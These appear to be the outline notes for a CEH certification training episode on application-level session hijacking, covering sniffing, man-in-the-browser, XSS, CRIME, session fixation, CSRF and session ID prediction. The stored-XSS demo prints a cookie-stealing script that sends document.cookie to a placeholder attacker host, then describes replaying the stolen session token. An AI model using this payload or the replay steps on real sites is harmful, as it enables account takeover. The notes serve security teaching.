- Filename: eccouncil-ceh31250-v11-11-3-1-application-level-session-hijacking.md
- Show Name: CEHv11 (312-50)
- Topic Name: Network and Perimeter Hacking: Session Hijacking
- Episode Name: Application Level Session Hijacking
  ==

Application Level Session Hijacking

Objectives:

- List and define common Application-Level Session Hijacking attacks

---

- What are some of the common App-Level Session Hijacking attacks we should be aware of?
  - Sniffing
    - Just sniff network traffic and intercept session tokens/IDs
  - MitM
    - Employ MitM to enable traffic sniffing
  - MitB
    - Malware-based approach
      - Malware hooks the browser and intercepts session info
  - XSS
    - **DEMO**
      - Reflected
      - DOM-based
      - Stored | Persistent
        - Attacker setup:
          - Setup HTTP listener with Python
          - `<script>new Image().src="http://ATTACK-IP/bogus.php?output="+document.cookie;</script>`
        - Target then browses to 'blog'
          - Target token shows up in Attack HTTP log
        - Attacker then copies token and logs into Web site
          - Ctrl-Shift-I to start browser Dev tools
            - Storage
              - Paste token into PHPSESSID value
                - Reload page (you are now logged in as AIM)
  - CRIME
    - Compression Ratio Info-Leak Made Easy
    - Exploits a vulnerability in the use of compression features found in
      - HTTPS/SSL/TLS
      - SPDY (pronounced 'speedy')

- Session Fixation and Donation
  - Sites that transmit Session tokens via the URL are susceptible
    - **Fixation**
      - Get an anonymous session token
        - Craft an email link (social engineering)
          - User clicks link
            - Gets sent to login page to authenticate
              - User logs in and continues to use session token from Phish
                - Attacker can now use the same session token and be authenticated as the target user
                  - **Donation**
                  + Same as Fixation with one small change
                  - Attacker uses their authenticated session token
                  - CSRF
                  + **DEMO** (just explain and show the effect, don't show setup)
                  - Attack Setup
                  + Login to 'bank' website and transfer a small amount
                  + Grab the URL
                  + Modify the POST data in the URL
                  - Increase the transfer amount to 100
                  + Get Target to click malicious link
                  - Social Engineering
                  - XSS
                  + Set this as Stored XSS in 'blog'
                  - Target
                  + Clicks malicious link
                  + Browses to Stored XSS page
                  - Session ID prediction
                  + http://example.com/webapp?sessid=3
                  - What happens when you change '3' to '0'?